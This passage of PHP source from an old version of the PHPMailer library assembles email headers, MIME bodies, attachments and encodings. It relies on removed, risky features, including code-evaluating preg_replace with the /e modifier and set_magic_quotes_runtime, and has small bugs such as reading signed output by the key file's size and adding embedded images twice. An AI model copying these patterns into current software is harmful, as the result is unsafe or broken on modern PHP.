2191 // Reduce maxLength to split at start of character
2192 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2193 $foundSplitPos = true;
2194 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2195 $lookBack += 3;
2196 }
2197 } else {
2198 // No encoded character found
2199 $foundSplitPos = true;
2200 }
2201 }
2202 return $maxLength;
2203 }
2204
2205 /**
2206 * Set the body wrapping.
2207 * @access private
2208 * @return void
2209 */
2210 function SetWordWrap() {
2211 if($this->WordWrap < 1) {
2212 return;
2213 }
2214
2215 switch($this->message_type) {
2216 case 'alt':
2217 /* fall through */
2218 case 'alt_attachments':
2219 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2220 break;
2221 default:
2222 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2223 break;
2224 }
2225 }
2226
2227 /**
2228 * Assembles message header.
2229 * @access private
2230 * @return string
2231 */
2232 function CreateHeader() {
2233 $result = '';
2234
2235 /* Set the boundaries */
2236 $uniq_id = md5(uniqid(time()));
2237 $this->boundary[1] = 'b1_' . $uniq_id;
2238 $this->boundary[2] = 'b2_' . $uniq_id;
2239
2240 $result .= $this->HeaderLine('Date', $this->RFCDate());
2241 if($this->Sender == '') {
2242 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2243 } else {
2244 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2245 }
2246
2247 /* To be created automatically by mail() */
2248 if($this->Mailer != 'mail') {
2249 if(count($this->to) > 0) {
2250 $result .= $this->AddrAppend('To', $this->to);
2251 } elseif (count($this->cc) == 0) {
2252 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2253 }
2254 if(count($this->cc) > 0) {
2255 $result .= $this->AddrAppend('Cc', $this->cc);
2256 }
2257 }
2258
2259 $from = array();
2260 $from[0][0] = trim($this->From);
2261 $from[0][1] = $this->FromName;
2262 $result .= $this->AddrAppend('From', $from);
2263
2264 /* sendmail and mail() extract Cc from the header before sending */
2265 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2266 $result .= $this->AddrAppend('Cc', $this->cc);
2267 }
2268
2269 /* sendmail and mail() extract Bcc from the header before sending */
2270 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2271 $result .= $this->AddrAppend('Bcc', $this->bcc);
2272 }
2273
2274 if(count($this->ReplyTo) > 0) {
2275 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2276 }
2277
2278 /* mail() sets the subject itself */
2279 if($this->Mailer != 'mail') {
2280 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2281 }
2282
2283 if($this->MessageID != '') {
2284 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2285 } else {
2286 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2287 }
2288 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2289 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2290
2291 if($this->ConfirmReadingTo != '') {
2292 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2293 }
2294
2295 // Add custom headers
2296 for($index = 0; $index < count($this->CustomHeader); $index++) {
2297 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2298 }
2299 if (!$this->sign_key_file) {
2300 $result .= $this->HeaderLine('MIME-Version', '1.0');
2301 $result .= $this->GetMailMIME();
2302 }
2303
2304 return $result;
2305 }
2306
2307 /**
2308 * Returns the message MIME.
2309 * @access private
2310 * @return string
2311 */
2312 function GetMailMIME() {
2313 $result = '';
2314 switch($this->message_type) {
2315 case 'plain':
2316 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2317 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2318 break;
2319 case 'attachments':
2320 /* fall through */
2321 case 'alt_attachments':
2322 if($this->InlineImageExists()){
2323 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2324 } else {
2325 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2326 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2327 }
2328 break;
2329 case 'alt':
2330 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2331 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2332 break;
2333 }
2334
2335 if($this->Mailer != 'mail') {
2336 $result .= $this->LE.$this->LE;
2337 }
2338
2339 return $result;
2340 }
2341
2342 /**
2343 * Assembles the message body. Returns an empty string on failure.
2344 * @access private
2345 * @return string
2346 */
2347 function CreateBody() {
2348 $result = '';
2349 if ($this->sign_key_file) {
2350 $result .= $this->GetMailMIME();
2351 }
2352
2353 $this->SetWordWrap();
2354
2355 switch($this->message_type) {
2356 case 'alt':
2357 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2358 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2359 $result .= $this->LE.$this->LE;
2360 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2361 $result .= $this->EncodeString($this->Body, $this->Encoding);
2362 $result .= $this->LE.$this->LE;
2363 $result .= $this->EndBoundary($this->boundary[1]);
2364 break;
2365 case 'plain':
2366 $result .= $this->EncodeString($this->Body, $this->Encoding);
2367 break;
2368 case 'attachments':
2369 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2370 $result .= $this->EncodeString($this->Body, $this->Encoding);
2371 $result .= $this->LE;
2372 $result .= $this->AttachAll();
2373 break;
2374 case 'alt_attachments':
2375 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2376 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2377 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2378 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2379 $result .= $this->LE.$this->LE;
2380 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2381 $result .= $this->EncodeString($this->Body, $this->Encoding);
2382 $result .= $this->LE.$this->LE;
2383 $result .= $this->EndBoundary($this->boundary[2]);
2384 $result .= $this->AttachAll();
2385 break;
2386 }
2387
2388 if($this->IsError()) {
2389 $result = '';
2390 } else if ($this->sign_key_file) {
2391 $file = tempnam("", "mail");
2392 $fp = fopen($file, "w");
2393 fwrite($fp, $result);
2394 fclose($fp);
2395 $signed = tempnam("", "signed");
2396
2397 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2398 $fp = fopen($signed, "r");
2399 $result = fread($fp, filesize($this->sign_key_file));
2400 fclose($fp);
2401 } else {
2402 $this->SetError($this->Lang("signing").openssl_error_string());
2403 $result = '';
2404 }
2405
2406 unlink($file);
2407 unlink($signed);
2408 }
2409
2410 return $result;
2411 }
2412
2413 /**
2414 * Returns the start of a message boundary.
2415 * @access private
2416 */
2417 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2418 $result = '';
2419 if($charSet == '') {
2420 $charSet = $this->CharSet;
2421 }
2422 if($contentType == '') {
2423 $contentType = $this->ContentType;
2424 }
2425 if($encoding == '') {
2426 $encoding = $this->Encoding;
2427 }
2428 $result .= $this->TextLine('--' . $boundary);
2429 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2430 $result .= $this->LE;
2431 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2432 $result .= $this->LE;
2433
2434 return $result;
2435 }
2436
2437 /**
2438 * Returns the end of a message boundary.
2439 * @access private
2440 */
2441 function EndBoundary($boundary) {
2442 return $this->LE . '--' . $boundary . '--' . $this->LE;
2443 }
2444
2445 /**
2446 * Sets the message type.
2447 * @access private
2448 * @return void
2449 */
2450 function SetMessageType() {
2451 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2452 $this->message_type = 'plain';
2453 } else {
2454 if(count($this->attachment) > 0) {
2455 $this->message_type = 'attachments';
2456 }
2457 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2458 $this->message_type = 'alt';
2459 }
2460 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2461 $this->message_type = 'alt_attachments';
2462 }
2463 }
2464 }
2465
2466 /* Returns a formatted header line.
2467 * @access private
2468 * @return string
2469 */
2470 function HeaderLine($name, $value) {
2471 return $name . ': ' . $value . $this->LE;
2472 }
2473
2474 /**
2475 * Returns a formatted mail line.
2476 * @access private
2477 * @return string
2478 */
2479 function TextLine($value) {
2480 return $value . $this->LE;
2481 }
2482
2483 /////////////////////////////////////////////////
2484 // CLASS METHODS, ATTACHMENTS
2485 /////////////////////////////////////////////////
2486
2487 /**
2488 * Adds an attachment from a path on the filesystem.
2489 * Returns false if the file could not be found
2490 * or accessed.
2491 * @param string $path Path to the attachment.
2492 * @param string $name Overrides the attachment name.
2493 * @param string $encoding File encoding (see $Encoding).
2494 * @param string $type File extension (MIME) type.
2495 * @return bool
2496 */
2497 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2498 if(!@is_file($path)) {
2499 $this->SetError($this->Lang('file_access') . $path);
2500 return false;
2501 }
2502
2503 $filename = basename($path);
2504 if($name == '') {
2505 $name = $filename;
2506 }
2507
2508 $cur = count($this->attachment);
2509 $this->attachment[$cur][0] = $path;
2510 $this->attachment[$cur][1] = $filename;
2511 $this->attachment[$cur][2] = $name;
2512 $this->attachment[$cur][3] = $encoding;
2513 $this->attachment[$cur][4] = $type;
2514 $this->attachment[$cur][5] = false; // isStringAttachment
2515 $this->attachment[$cur][6] = 'attachment';
2516 $this->attachment[$cur][7] = 0;
2517
2518 return true;
2519 }
2520
2521 /**
2522 * Attaches all fs, string, and binary attachments to the message.
2523 * Returns an empty string on failure.
2524 * @access private
2525 * @return string
2526 */
2527 function AttachAll() {
2528 /* Return text of body */
2529 $mime = array();
2530
2531 /* Add all attachments */
2532 for($i = 0; $i < count($this->attachment); $i++) {
2533 /* Check for string attachment */
2534 $bString = $this->attachment[$i][5];
2535 if ($bString) {
2536 $string = $this->attachment[$i][0];
2537 } else {
2538 $path = $this->attachment[$i][0];
2539 }
2540
2541 $filename = $this->attachment[$i][1];
2542 $name = $this->attachment[$i][2];
2543 $encoding = $this->attachment[$i][3];
2544 $type = $this->attachment[$i][4];
2545 $disposition = $this->attachment[$i][6];
2546 $cid = $this->attachment[$i][7];
2547
2548 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2549 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2550 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2551
2552 if($disposition == 'inline') {
2553 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2554 }
2555
2556 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2557
2558 /* Encode as string attachment */
2559 if($bString) {
2560 $mime[] = $this->EncodeString($string, $encoding);
2561 if($this->IsError()) {
2562 return '';
2563 }
2564 $mime[] = $this->LE.$this->LE;
2565 } else {
2566 $mime[] = $this->EncodeFile($path, $encoding);
2567 if($this->IsError()) {
2568 return '';
2569 }
2570 $mime[] = $this->LE.$this->LE;
2571 }
2572 }
2573
2574 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2575
2576 return join('', $mime);
2577 }
2578
2579 /**
2580 * Encodes attachment in requested format. Returns an
2581 * empty string on failure.
2582 * @access private
2583 * @return string
2584 */
2585 function EncodeFile ($path, $encoding = 'base64') {
2586 if(!@$fd = fopen($path, 'rb')) {
2587 $this->SetError($this->Lang('file_open') . $path);
2588 return '';
2589 }
2590 $magic_quotes = get_magic_quotes_runtime();
2591 set_magic_quotes_runtime(0);
2592 $file_buffer = fread($fd, filesize($path));
2593 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2594 fclose($fd);
2595 set_magic_quotes_runtime($magic_quotes);
2596
2597 return $file_buffer;
2598 }
2599
2600 /**
2601 * Encodes string to requested format. Returns an
2602 * empty string on failure.
2603 * @access private
2604 * @return string
2605 */
2606 function EncodeString ($str, $encoding = 'base64') {
2607 $encoded = '';
2608 switch(strtolower($encoding)) {
2609 case 'base64':
2610 /* chunk_split is found in PHP >= 3.0.6 */
2611 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2612 break;
2613 case '7bit':
2614 case '8bit':
2615 $encoded = $this->FixEOL($str);
2616 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2617 $encoded .= $this->LE;
2618 break;
2619 case 'binary':
2620 $encoded = $str;
2621 break;
2622 case 'quoted-printable':
2623 $encoded = $this->EncodeQP($str);
2624 break;
2625 default:
2626 $this->SetError($this->Lang('encoding') . $encoding);
2627 break;
2628 }
2629 return $encoded;
2630 }
2631
2632 /**
2633 * Encode a header string to best of Q, B, quoted or none.
2634 * @access private
2635 * @return string
2636 */
2637 function EncodeHeader ($str, $position = 'text') {
2638 $x = 0;
2639
2640 switch (strtolower($position)) {
2641 case 'phrase':
2642 if (!preg_match('/[\200-\377]/', $str)) {
2643 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2644 $encoded = addcslashes($str, "\0..\37\177\\\"");
2645 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2646 return ($encoded);
2647 } else {
2648 return ("\"$encoded\"");
2649 }
2650 }
2651 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2652 break;
2653 case 'comment':
2654 $x = preg_match_all('/[()"]/', $str, $matches);
2655 /* Fall-through */
2656 case 'text':
2657 default:
2658 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2659 break;
2660 }
2661
2662 if ($x == 0) {
2663 return ($str);
2664 }
2665
2666 $maxlen = 75 - 7 - strlen($this->CharSet);
2667 /* Try to select the encoding which should produce the shortest output */
2668 if (strlen($str)/3 < $x) {
2669 $encoding = 'B';
2670 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2671 // Use a custom function which correctly encodes and wraps long
2672 // multibyte strings without breaking lines within a character
2673 $encoded = $this->Base64EncodeWrapMB($str);
2674 } else {
2675 $encoded = base64_encode($str);
2676 $maxlen -= $maxlen % 4;
2677 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2678 }
2679 } else {
2680 $encoding = 'Q';
2681 $encoded = $this->EncodeQ($str, $position);
2682 $encoded = $this->WrapText($encoded, $maxlen, true);
2683 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2684 }
2685
2686 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2687 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2688
2689 return $encoded;
2690 }
2691
2692 /**
2693 * Checks if a string contains multibyte characters.
2694 * @access private
2695 * @param string $str multi-byte text to wrap encode
2696 * @return bool
2697 */
2698 function HasMultiBytes($str) {
2699 if (function_exists('mb_strlen')) {
2700 return (strlen($str) > mb_strlen($str, $this->CharSet));
2701 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2702 return False;
2703 }
2704 }
2705
2706 /**
2707 * Correctly encodes and wraps long multibyte strings for mail headers
2708 * without breaking lines within a character.
2709 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2710 * @access private
2711 * @param string $str multi-byte text to wrap encode
2712 * @return string
2713 */
2714 function Base64EncodeWrapMB($str) {
2715 $start = "=?".$this->CharSet."?B?";
2716 $end = "?=";
2717 $encoded = "";
2718
2719 $mb_length = mb_strlen($str, $this->CharSet);
2720 // Each line must have length <= 75, including $start and $end
2721 $length = 75 - strlen($start) - strlen($end);
2722 // Average multi-byte ratio
2723 $ratio = $mb_length / strlen($str);
2724 // Base64 has a 4:3 ratio
2725 $offset = $avgLength = floor($length * $ratio * .75);
2726
2727 for ($i = 0; $i < $mb_length; $i += $offset) {
2728 $lookBack = 0;
2729
2730 do {
2731 $offset = $avgLength - $lookBack;
2732 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2733 $chunk = base64_encode($chunk);
2734 $lookBack++;
2735 }
2736 while (strlen($chunk) > $length);
2737
2738 $encoded .= $chunk . $this->LE;
2739 }
2740
2741 // Chomp the last linefeed
2742 $encoded = substr($encoded, 0, -strlen($this->LE));
2743 return $encoded;
2744 }
2745
2746 /**
2747 * Encode string to quoted-printable.
2748 * @access private
2749 * @return string
2750 */
2751 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2752 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2753 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2754 $eol = "\r\n";
2755 $escape = '=';
2756 $output = '';
2757 while( list(, $line) = each($lines) ) {
2758 $linlen = strlen($line);
2759 $newline = '';
2760 for($i = 0; $i < $linlen; $i++) {
2761 $c = substr( $line, $i, 1 );
2762 $dec = ord( $c );
2763 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2764 $c = '=2E';
2765 }
2766 if ( $dec == 32 ) {
2767 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2768 $c = '=20';
2769 } else if ( $space_conv ) {
2770 $c = '=20';
2771 }
2772 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2773 $h2 = floor($dec/16);
2774 $h1 = floor($dec%16);
2775 $c = $escape.$hex[$h2].$hex[$h1];
2776 }
2777 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2778 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2779 $newline = '';
2780 // check if newline first character will be point or not
2781 if ( $dec == 46 ) {
2782 $c = '=2E';
2783 }
2784 }
2785 $newline .= $c;
2786 } // end of for
2787 $output .= $newline.$eol;
2788 } // end of while
2789 return trim($output);
2790 }
2791
2792 /**
2793 * Encode string to q encoding.
2794 * @access private
2795 * @return string
2796 */
2797 function EncodeQ ($str, $position = 'text') {
2798 /* There should not be any EOL in the string */
2799 $encoded = preg_replace("[\r\n]", '', $str);
2800
2801 switch (strtolower($position)) {
2802 case 'phrase':
2803 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2804 break;
2805 case 'comment':
2806 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2807 case 'text':
2808 default:
2809 /* Replace every high ascii, control =, ? and _ characters */
2810 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2811 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2812 break;
2813 }
2814
2815 /* Replace every spaces to _ (more readable than =20) */
2816 $encoded = str_replace(' ', '_', $encoded);
2817
2818 return $encoded;
2819 }
2820
2821 /**
2822 * Adds a string or binary attachment (non-filesystem) to the list.
2823 * This method can be used to attach ascii or binary data,
2824 * such as a BLOB record from a database.
2825 * @param string $string String attachment data.
2826 * @param string $filename Name of the attachment.
2827 * @param string $encoding File encoding (see $Encoding).
2828 * @param string $type File extension (MIME) type.
2829 * @return void
2830 */
2831 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2832 /* Append to $attachment array */
2833 $cur = count($this->attachment);
2834 $this->attachment[$cur][0] = $string;
2835 $this->attachment[$cur][1] = $filename;
2836 $this->attachment[$cur][2] = $filename;
2837 $this->attachment[$cur][3] = $encoding;
2838 $this->attachment[$cur][4] = $type;
2839 $this->attachment[$cur][5] = true; // isString
2840 $this->attachment[$cur][6] = 'attachment';
2841 $this->attachment[$cur][7] = 0;
2842 }
2843
2844 /**
2845 * Adds an embedded attachment. This can include images, sounds, and
2846 * just about any other document. Make sure to set the $type to an
2847 * image type. For JPEG images use "image/jpeg" and for GIF images
2848 * use "image/gif".
2849 * @param string $path Path to the attachment.
2850 * @param string $cid Content ID of the attachment. Use this to identify
2851 * the Id for accessing the image in an HTML form.
2852 * @param string $name Overrides the attachment name.
2853 * @param string $encoding File encoding (see $Encoding).
2854 * @param string $type File extension (MIME) type.
2855 * @return bool
2856 */
2857 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2858
2859 if(!@is_file($path)) {
2860 $this->SetError($this->Lang('file_access') . $path);
2861 return false;
2862 }
2863
2864 $filename = basename($path);
2865 if($name == '') {
2866 $name = $filename;
2867 }
2868
2869 /* Append to $attachment array */
2870 $cur = count($this->attachment);
2871 $this->attachment[$cur][0] = $path;
2872 $this->attachment[$cur][1] = $filename;
2873 $this->attachment[$cur][2] = $name;
2874 $this->attachment[$cur][3] = $encoding;
2875 $this->attachment[$cur][4] = $type;
2876 $this->attachment[$cur][5] = false;
2877 $this->attachment[$cur][6] = 'inline';
2878 $this->attachment[$cur][7] = $cid;
2879
2880 return true;
2881 }
2882
2883 /**
2884 * Returns true if an inline attachment is present.
2885 * @access private
2886 * @return bool
2887 */
2888 function InlineImageExists() {
2889 $result = false;
2890 for($i = 0; $i < count($this->attachment); $i++) {
2891 if($this->attachment[$i][6] == 'inline') {
2892 $result = true;
2893 break;
2894 }
2895 }
2896
2897 return $result;
2898 }
2899
2900 /////////////////////////////////////////////////
2901 // CLASS METHODS, MESSAGE RESET
2902 /////////////////////////////////////////////////
2903
2904 /**
2905 * Clears all recipients assigned in the TO array. Returns void.
2906 * @return void
2907 */
2908 function ClearAddresses() {
2909 $this->to = array();
2910 }
2911
2912 /**
2913 * Clears all recipients assigned in the CC array. Returns void.
2914 * @return void
2915 */
2916 function ClearCCs() {
2917 $this->cc = array();
2918 }
2919
2920 /**
2921 * Clears all recipients assigned in the BCC array. Returns void.
2922 * @return void
2923 */
2924 function ClearBCCs() {
2925 $this->bcc = array();
2926 }
2927
2928 /**
2929 * Clears all recipients assigned in the ReplyTo array. Returns void.
2930 * @return void
2931 */
2932 function ClearReplyTos() {
2933 $this->ReplyTo = array();
2934 }
2935
2936 /**
2937 * Clears all recipients assigned in the TO, CC and BCC
2938 * array. Returns void.
2939 * @return void
2940 */
2941 function ClearAllRecipients() {
2942 $this->to = array();
2943 $this->cc = array();
2944 $this->bcc = array();
2945 }
2946
2947 /**
2948 * Clears all previously set filesystem, string, and binary
2949 * attachments. Returns void.
2950 * @return void
2951 */
2952 function ClearAttachments() {
2953 $this->attachment = array();
2954 }
2955
2956 /**
2957 * Clears all custom headers. Returns void.
2958 * @return void
2959 */
2960 function ClearCustomHeaders() {
2961 $this->CustomHeader = array();
2962 }
2963
2964 /////////////////////////////////////////////////
2965 // CLASS METHODS, MISCELLANEOUS
2966 /////////////////////////////////////////////////
2967
2968 /**
2969 * Adds the error message to the error container.
2970 * Returns void.
2971 * @access private
2972 * @return void
2973 */
2974 function SetError($msg) {
2975 $this->error_count++;
2976 $this->ErrorInfo = $msg;
2977 }
2978
2979 /**
2980 * Returns the proper RFC 822 formatted date.
2981 * @access private
2982 * @return string
2983 */
2984 function RFCDate() {
2985 $tz = date('Z');
2986 $tzs = ($tz < 0) ? '-' : '+';
2987 $tz = abs($tz);
2988 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2989 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2990
2991 return $result;
2992 }
2993
2994 /**
2995 * Returns the appropriate server variable. Should work with both
2996 * PHP 4.1.0+ as well as older versions. Returns an empty string
2997 * if nothing is found.
2998 * @access private
2999 * @return mixed
3000 */
3001 function ServerVar($varName) {
3002 global $HTTP_SERVER_VARS;
3003 global $HTTP_ENV_VARS;
3004
3005 if(!isset($_SERVER)) {
3006 $_SERVER = $HTTP_SERVER_VARS;
3007 if(!isset($_SERVER['REMOTE_ADDR'])) {
3008 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3009 }
3010 }
3011
3012 if(isset($_SERVER[$varName])) {
3013 return $_SERVER[$varName];
3014 } else {
3015 return '';
3016 }
3017 }
3018
3019 /**
3020 * Returns the server hostname or 'localhost.localdomain' if unknown.
3021 * @access private
3022 * @return string
3023 */
3024 function ServerHostname() {
3025 if ($this->Hostname != '') {
3026 $result = $this->Hostname;
3027 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3028 $result = $this->ServerVar('SERVER_NAME');
3029 } else {
3030 $result = 'localhost.localdomain';
3031 }
3032
3033 return $result;
3034 }
3035
3036 /**
3037 * Returns a message in the appropriate language.
3038 * @access private
3039 * @return string
3040 */
3041 function Lang($key) {
3042 if(count($this->language) < 1) {
3043 $this->SetLanguage('en'); // set the default language
3044 }
3045
3046 if(isset($this->language[$key])) {
3047 return $this->language[$key];
3048 } else {
3049 return 'Language string failed to load: ' . $key;
3050 }
3051 }
3052
3053 /**
3054 * Returns true if an error occurred.
3055 * @return bool
3056 */
3057 function IsError() {
3058 return ($this->error_count > 0);
3059 }
3060
3061 /**
3062 * Changes every end of line from CR or LF to CRLF.
3063 * @access private
3064 * @return string
3065 */
3066 function FixEOL($str) {
3067 $str = str_replace("\r\n", "\n", $str);
3068 $str = str_replace("\r", "\n", $str);
3069 $str = str_replace("\n", $this->LE, $str);
3070 return $str;
3071 }
3072
3073 /**
3074 * Adds a custom header.
3075 * @return void
3076 */
3077 function AddCustomHeader($custom_header) {
3078 $this->CustomHeader[] = explode(':', $custom_header, 2);
3079 }
3080
3081 /**
3082 * Evaluates the message and returns modifications for inline images and backgrounds
3083 * @access public
3084 * @return $message
3085 */
3086 function MsgHTML($message,$basedir='') {
3087 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3088 if(isset($images[2])) {
3089 foreach($images[2] as $i => $url) {
3090 // do not change urls for absolute images (thanks to corvuscorax)
3091 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3092 $filename = basename($url);
3093 $directory = dirname($url);
3094 ($directory == '.')?$directory='':'';
3095 $cid = 'cid:' . md5($filename);
3096 $fileParts = split("\.", $filename);
3097 $ext = $fileParts[1];
3098 $mimeType = $this->_mime_types($ext);
3099 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3100 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3101 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3102 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3103 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3104 }
3105 }
3106 }
3107 }
3108 $this->IsHTML(true);
3109 $this->Body = $message;
3110 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3111 if ( !empty($textMsg) && empty($this->AltBody) ) {
3112 $this->AltBody = $textMsg;
3113 }
3114 if ( empty($this->AltBody) ) {
3115 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3116 }
3117 }
3118
3119 /**
3120 * Gets the mime type of the embedded or inline image
3121 * @access private
3122 * @return mime type of ext
3123 */
3124 function _mime_types($ext = '') {
3125 $mimes = array(
3126 'hqx' => 'application/mac-binhex40',
3127 'cpt' => 'application/mac-compactpro',
3128 'doc' => 'application/msword',
3129 'bin' => 'application/macbinary',
3130 'dms' => 'application/octet-stream',
3131 'lha' => 'application/octet-stream',
3132 'lzh' => 'application/octet-stream',
3133 'exe' => 'application/octet-stream',
3134 'class' => 'application/octet-stream',
3135 'psd' => 'application/octet-stream',
3136 'so' => 'application/octet-stream',
3137 'sea' => 'application/octet-stream',
3138 'dll' => 'application/octet-stream',
3139 'oda' => 'application/oda',
3140 'pdf' => 'application/pdf',
3141 'ai' => 'application/postscript',
3142 'eps' => 'application/postscript',
3143 'ps' => 'application/postscript',
3144 'smi' => 'application/smil',
3145 'smil' => 'application/smil',
3146 'mif' => 'application/vnd.mif',
3147 'xls' => 'application/vnd.ms-excel',
3148 'ppt' => 'application/vnd.ms-powerpoint',
3149 'wbxml' => 'application/vnd.wap.wbxml',
3150 'wmlc' => 'application/vnd.wap.wmlc',
3151 'dcr' => 'application/x-director',
3152 'dir' => 'application/x-director',
3153 'dxr' => 'application/x-director',
3154 'dvi' => 'application/x-dvi',
3155 'gtar' => 'application/x-gtar',
3156 'php' => 'application/x-httpd-php',
3157 'php4' => 'application/x-httpd-php',
3158 'php3' => 'application/x-httpd-php',
3159 'phtml' => 'application/x-httpd-php',
3160 'phps' => 'application/x-httpd-php-source',
3161 'js' => 'application/x-javascript',
3162 'swf' => 'application/x-shockwave-flash',
3163 'sit' => 'application/x-stuffit',
3164 'tar' => 'application/x-tar',
3165 'tgz' => 'application/x-tar',
3166 'xhtml' => 'application/xhtml+xml',
3167 'xht' => 'application/xhtml+xml',
3168 'zip' => 'application/zip',
3169 'mid' => 'audio/midi',
3170 'midi' => 'audio/midi',
3171 'mpga' => 'audio/mpeg',
3172 'mp2' => 'audio/mpeg',
3173 'mp3' => 'audio/mpeg',
3174 'aif' => 'audio/x-aiff',
3175 'aiff' => 'audio/x-aiff',
3176 'aifc' => 'audio/x-aiff',
3177 'ram' => 'audio/x-pn-realaudio',
